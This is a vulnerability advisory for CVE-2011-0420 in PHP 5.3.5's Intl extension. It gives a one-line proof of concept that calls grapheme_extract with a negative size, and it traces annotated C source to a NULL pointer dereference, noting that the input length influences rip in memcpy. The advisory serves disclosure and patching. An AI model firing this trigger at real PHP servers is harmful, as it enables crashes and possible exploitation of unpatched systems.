Date:
- - Dis.: 09.12.2010

CVE: CVE-2011-0420
CERT: VU#210829
Affected Software:
- - PHP 5.3.5
Fixed: SVN
- --- 0.Description ---
Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their scripts.
grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
- --- 1. PoC for grapheme_extract() ---
grapheme_extract('a',-1);
Change length of first parameter to change rip.
- --- 2. grapheme_extract() NULL Pointer Dereference ---
As we can see in grapheme_extract(str,size)
- -grapheme_extract()--
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char **)&str, &str_len, &size, &extract_type, &lstart, &next) == FAILURE) { <=== str='a' and size='-1'
...
/* if the string is all ASCII up to size+1 - or str_len whichever is first - then we are done.
(size + 1 because the size-th character might be the beginning of a grapheme cluster)
*/
if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 : str_len ) ) { <=== ( size=-1+1=0 ) ===
long nsize = ( size < str_len ? size : str_len ); <=== nsize = -1
if ( NULL != next ) {
ZVAL_LONG(next, start+nsize);
}
RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT
}
...
- -grapheme_extract()--
if we call to grapheme_ascii_check(pstr,0) where
- -grapheme_ascii_check()--
/* {{{ grapheme_ascii_check: ASCII check */
int grapheme_ascii_check(const unsigned char *day, int32_t len) <==== len=0
{
int ret_len = len;
while ( len-- ) {
if ( *day++ > 0x7f )
return -1;
}
return ret_len; <=== return 0
}
- -grapheme_ascii_check()--
then we get (int)0 in result and
long nsize = ( size < str_len ? size : str_len );
will be -1. Therefore,
RETURN_STRINGL(((char *)pstr), nsize, 1);
give NULL pointer dereference here.
Changing length of first parameter of grapheme_extract(), we will also change rip in memcpy(3).
